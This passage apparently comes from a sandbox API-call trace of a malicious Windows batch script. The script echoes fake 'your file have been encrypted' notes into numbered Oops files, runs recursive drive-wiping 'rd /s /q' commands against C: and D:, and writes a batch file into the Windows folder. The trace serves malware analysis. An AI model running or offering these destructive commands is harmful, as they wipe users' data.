nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=8169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0037.461] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops21.txt\r\n") returned 59 [0037.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0037.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.461] GetFileType (hFile=0x74) returned 0x1 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0037.461] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=8228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0037.461] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops22.txt\r\n") returned 59 [0037.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0037.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.461] GetFileType (hFile=0x74) returned 0x1 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0037.461] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=8287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0037.462] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops23.txt\r\n") returned 59 [0037.462] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0037.462] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.462] GetFileType (hFile=0x74) returned 0x1 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0037.462] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=8346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0037.462] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops24.txt\r\n") returned 59 [0037.462] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0037.462] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.462] GetFileType (hFile=0x74) returned 0x1 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0037.462] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.462] SetFilePointer (in: hFile=0x74, lDistanceToMove=8405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0037.462] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops25.txt\r\n") returned 59 [0037.463] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0037.463] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.463] GetFileType (hFile=0x74) returned 0x1 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0037.463] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=8464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0037.463] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops26.txt\r\n") returned 59 [0037.463] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0037.463] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.463] GetFileType (hFile=0x74) returned 0x1 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0037.463] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=8523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0037.463] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops27.txt\r\n") returned 59 [0037.463] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.463] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0037.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.464] GetFileType (hFile=0x74) returned 0x1 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0037.464] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=8582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0037.464] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops28.txt\r\n") returned 59 [0037.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0037.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.464] GetFileType (hFile=0x74) returned 0x1 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0037.464] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=8641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0037.464] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops29.txt\r\n") returned 59 [0037.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0037.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.464] GetFileType (hFile=0x74) returned 0x1 [0037.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0037.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=8700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0037.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops30.txt\r\n") returned 59 [0037.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0037.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.465] GetFileType (hFile=0x74) returned 0x1 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0037.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=8759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0037.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops31.txt\r\n") returned 59 [0037.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0037.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.465] GetFileType (hFile=0x74) returned 0x1 [0037.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0037.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=8818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0037.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops32.txt\r\n") returned 59 [0037.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0037.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.466] GetFileType (hFile=0x74) returned 0x1 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0037.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=8877, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0037.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops33.txt\r\n") returned 59 [0037.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0037.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.466] GetFileType (hFile=0x74) returned 0x1 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0037.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=8936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0037.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops34.txt\r\n") returned 59 [0037.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0037.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.467] GetFileType (hFile=0x74) returned 0x1 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0037.467] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=8995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0037.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops35.txt\r\n") returned 59 [0037.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0037.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.467] GetFileType (hFile=0x74) returned 0x1 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0037.467] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=9054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0037.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops36.txt\r\n") returned 59 [0037.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0037.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.468] GetFileType (hFile=0x74) returned 0x1 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0037.468] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=9113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0037.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0037.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0037.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.468] GetFileType (hFile=0x74) returned 0x1 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0037.468] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=9172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0037.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops38.txt\r\n") returned 59 [0037.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0037.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.469] GetFileType (hFile=0x74) returned 0x1 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0037.469] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=9231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0037.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops39.txt\r\n") returned 59 [0037.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0037.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.469] GetFileType (hFile=0x74) returned 0x1 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0037.469] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=9290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0037.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops40.txt\r\n") returned 59 [0037.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0037.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.469] GetFileType (hFile=0x74) returned 0x1 [0037.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0037.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1e3, lpOverlapped=0x0) returned 1 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=9302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0037.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q C:\\\r\nour file have been encrypted file >Oops40.txt\r\n") returned 12 [0037.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0037.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.470] GetFileType (hFile=0x74) returned 0x1 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0037.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1d7, lpOverlapped=0x0) returned 1 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0037.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q D:\\\r\n") returned 12 [0037.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0037.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.470] GetFileType (hFile=0x74) returned 0x1 [0037.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0037.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1cb, lpOverlapped=0x0) returned 1 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=9350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0037.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo @echo off>c:windowswimn32.bat\r\npted file >Oops40.txt\r\n") returned 36 [0037.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0037.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.471] GetFileType (hFile=0x74) returned 0x1 [0037.471] 